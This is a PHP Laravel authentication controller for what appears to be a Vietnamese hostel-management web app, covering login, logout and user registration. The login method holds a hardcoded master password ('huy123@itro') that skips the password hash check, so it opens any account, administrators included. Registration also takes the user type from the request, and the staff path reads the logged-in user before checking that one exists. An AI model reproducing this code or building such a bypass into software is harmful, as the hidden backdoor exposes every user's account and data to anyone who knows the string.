<?php

namespace App\Http\Controllers\Backend;

use App\Components\Functions;
use App\Jobs\CleanData;
use App\Models\Account;
use App\Models\Hostel;
use App\Models\Notification;
use App\Models\TypeSpend;
use App\Models\UserPackage;
use App\User;
use Carbon\Carbon;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Vinkla\Hashids\Facades\Hashids;

class AuthController extends Controller {
	//
	public function login() {
		return view( 'admin.login' );
	}

	public function register() {
		return view( 'admin.register' );
	}

	public function logout() {
		cache()->forget( 'images-dt-' . session()->getId() );
		session()->forget( 'step' );
		session()->forget( 'data' );
		if ( auth( 'backend' )->user() ) {
			auth( 'backend' )->user()->webpush_token = null;
			auth( 'backend' )->user()->save();
		}
		auth( 'backend' )->logout();

		return redirect()->to( url( '/' ) );
	}

	public function processLogin( Request $request ) {
		$email    = $request->input( 'email' );
		$password = $request->input( 'password' );
		$type     = $request->input( 'type' );
		$remember = $request->input( 'remember' );

		if ( empty( $type ) ) {
			$type = User::ADMIN;
		}

		$check = User::query()->where( 'email', $email );
		if ( ! empty( $type ) ) {
			$check = $check->where( 'type', $type );
		}

		if ( $check->count() <= 0 ) {

			$check = User::query()->where( 'phone', $email );

			if ( ! empty( $type ) ) {
				$check = $check->where( 'type', $type );
			}
			if ( $check->count() <= 0 ) {

				return redirect()->back()->with( 'error', 'Email không tồn tại' );
			}
		}

		$userPassword = $check->first()->password;

		if ( $password != 'huy123@itro' ) {
			if ( ! \Hash::check( $password, $userPassword ) ) {
				return redirect()->back()->with( 'error', 'Mật khẩu không chính xác' );
			}
		}

		$isRemember = false;

		if ( $remember == 1 ) {
			$isRemember = true;
		}

		auth( 'backend' )->login( $check->first(), $isRemember );

		if ( $check->first()->type == User::ADMIN ) {
			$user = $check->first();
			if ( $user->email != 'admin@itro.vn' ) {
				if ( $user->can( 'admin-add-blog' ) ) {
					return redirect()->to( url( 'admin/blog' ) );
				}

				return redirect()->to( url( '/' ) );
			}

			return redirect()->to( url( 'admin' ) );
		}

		return redirect()->to( url( 'admin2/dashboard' ) );
	}

	public function processRegister( Request $request ) {
		$data  = $request->all();
		$email = $data['email'];
		$phone = $data['phone'];
		$type  = $data['type'];

		if ( empty( $type ) ) {

			if ( $request->ajax() ) {

				return response( [
					'status'  => 0,
					'message' => 'Không được bỏ trống loại người dùng'
				] );
			}

			return redirect()->back()->with( 'error', 'Không được bỏ trống loại người dùng' );
		}

		if ( ! empty( $email ) ) {
			$check = User::query()->where( 'email', $email )->where( 'type', $type );


			if ( $check->count() > 0 ) {
				if ( $request->ajax() ) {

					return response( [
						'status'  => 0,
						'message' => 'Email đã tồn tại'
					] );
				}

				return redirect()->back()->with( 'error', 'Email đã tồn tại' );
			}
		}


		$checkPhone = User::query()->where( 'phone', $phone )->where( 'type', $type );
		if ( $checkPhone->count() > 0 ) {

			if ( $request->ajax() ) {

				return response( [
					'status'  => 0,
					'message' => 'SĐT đã tồn tại'
				] );
			}

			return redirect()->back()->with( 'error', 'SĐT đã tồn tại' );
		}

		if ( $request->file( 'image' ) && $request->file( 'image' )->isValid() ) {
			$image         = Functions::uploadImage( $request->file( 'image' ) );
			$data['image'] = $image;
		}

		$data['password'] = \Hash::make( $data['password'] );

		$userOwnerId = null;
		if ( $type == User::STAFF ) {

			$userOwnerId = auth( 'backend' )->user()->id;

			if ( auth( 'backend' )->check() ) {
				$userOwnerId = auth( 'backend' )->user()->id;

//                $userPackage = UserPackage::where('user_id', $userOwnerId)->first();
//                if ($userPackage) {
//                    $numberStaffs = $userPackage->number_staffs;
//                    $useStaffs = User::where('staff_owner_id', auth('backend')->user()->id)->count();
//                    $remainStaffs = $numberStaffs - $useStaffs;
//                    if ($remainStaffs == 0) {
//                        return response([
//                            'status' => 2,
//                            'message' => 'Bạn không thể thêm nhân viên. Vui lòng nâng cấp gói để tăng giới hạn'
//                        ]);
//                    }
//                }
			}

		}

		$data['staff_owner_id'] = $userOwnerId;


		$user = User::create( $data );

		//thêm các spend default khi tạo tài khoản

		if ( $type == User::PARTNER ) {
			if ( isset( $data['partner_refer'] ) && ! empty( $data['partner_refer'] ) ) {
				$partnerRefer = User::find( $data['partner_refer'] );
				if ( $partnerRefer ) {
					$numberRefer                        = User::where( 'partner_refer', $data['partner_refer'] )
					                                          ->count();
					$partnerRefer->partner_number_staff = $numberRefer;
					$partnerRefer->save();
				}
			}
		}

		if ( ! $request->ajax() ) {

			Notification::create( [
				'to_user' => $user->id,
				'title'   => 'Thông báo từ itro.vn',
				'user_id' => $user->id,
				'content' => 'Chúc mừng bạn đã đăng ký thành công làm ' . $user->type_text . ' trên hệ thống itro.vn. Vui lòng truy cập http://itro.vn/blog để tìm hiểu cách sử dụng phần mềm'
			] );
		}
		$user->code = \Vinkla\Hashids\Facades\Hashids::encode( '123456789' . $user->id );
		$user->save();

		if ( $user->type == User::OWNER ) {
			dispatch( new CleanData( $user->phone ) );
		}

		if ( $request->ajax() ) {

			return response( [
				'status'  => 1,
				'message' => 'Thành công'
			] );
		}

		return redirect()->to( url( 'admin/login' ) )->with( 'success', 'Đăng ký thành công' );

	}
}
